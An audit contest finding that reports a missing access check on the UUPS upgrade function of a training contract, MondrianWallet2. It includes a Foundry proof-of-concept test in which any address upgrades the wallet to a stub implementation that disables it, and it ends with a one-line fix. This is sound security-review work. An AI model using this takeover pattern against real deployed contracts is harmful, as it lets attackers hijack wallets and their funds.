Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`MondrianWallet2::_authorizeUpgrade` misses the access control, allowing any random user to upgrade the implementation

Summary

For any UUPS Upgradeable smart contract setup, the access control is very important. In MondrianWallet2this essential piece as has a bug where MondrianWallet2::_authorizeUpgrade does not have any access control to keep the UUPSUpgrade well secured.

Proof of Concept

We will need to create a sample malicious contract & a test case to verify this bug.

  1. Add below test case to ModrianWallet2Test.t.sol unit test suite.

function testAnyoneCanUpgradeTheContract() public {
address anyUser = makeAddr("anyUser");
vm.startPrank(anyUser);
MondrianWallet3 newImplementation = new MondrianWallet3();
mondrianWallet.upgradeToAndCall(address(newImplementation), "");
vm.stopPrank();
Transaction memory transaction = _createUnsignedTransaction(mondrianWallet.owner(), 113, address(0), 0, "");
vm.expectRevert();
mondrianWallet.executeTransaction("", "", transaction);
}
  1. Add below sample contract to ModrianWallet2Test.t.sol document.

contract MondrianWallet3 is IAccount, Initializable, OwnableUpgradeable, UUPSUpgradeable {
using MemoryTransactionHelper for Transaction;
error MondrianWallet3__NotFromBootLoader();
error MondrianWallet3__NotFromBootLoaderOrOwner();
/*//////////////////////////////////////////////////////////////
MODIFIERS
//////////////////////////////////////////////////////////////*/
modifier requireFromBootLoader() {
if (msg.sender != BOOTLOADER_FORMAL_ADDRESS) {
revert MondrianWallet3__NotFromBootLoader();
}
_;
}
modifier requireFromBootLoaderOrOwner() {
if (msg.sender != BOOTLOADER_FORMAL_ADDRESS && msg.sender != owner()) {
revert MondrianWallet3__NotFromBootLoaderOrOwner();
}
_;
}
function initialize() public initializer {
__Ownable_init(msg.sender);
__UUPSUpgradeable_init();
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
/*//////////////////////////////////////////////////////////////
EXTERNAL FUNCTIONS
//////////////////////////////////////////////////////////////*/
/**
* @notice must increase the nonce
* @notice must validate the transaction (check the owner signed the transaction)
* @notice also check to see if we have enough money in our account
*/
function validateTransaction(
bytes32,
/*_txHash*/
bytes32,
/*_suggestedSignedHash*/
Transaction memory /*_transaction*/
) external payable requireFromBootLoader returns (bytes4) {
revert();
}
function executeTransaction(
bytes32,
/*_txHash*/
bytes32,
/*_suggestedSignedHash*/
Transaction memory /*_transaction*/
) external payable requireFromBootLoaderOrOwner {
revert();
}
/*//////////////////////////////////////////////////////////////
INTERNAL FUNCTIONS
//////////////////////////////////////////////////////////////*/
// Needed for UUPS
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
function executeTransactionFromOutside(Transaction calldata _transaction) external payable override {}
function payForTransaction(bytes32 _txHash, bytes32 _suggestedSignedHash, Transaction calldata _transaction)
external
payable
override
{}
function prepareForPaymaster(bytes32 _txHash, bytes32 _possibleSignedHash, Transaction calldata _transaction)
external
payable
override
{}
}

Impact

Without managing the access controls during UUPS Upgrades, any random user can upgrade the current contract implementation with any malicious implmentation causing serious distruction to the protocol requirement. The malicious contract may transfer all the funds to some random address incurring significant financial loss.

Tools Used

Foundry Test case

Recommendations

The _authorizeUpgrade function must have onlyOwner access control.

- function _authorizeUpgrade(address newImplementation) internal override {}
+ function _authorizeUpgrade(address newImplementation) internal override onlyOwner {
Updates

Lead Judging Commences

bube Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of access control in _authorizeUpgrade

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.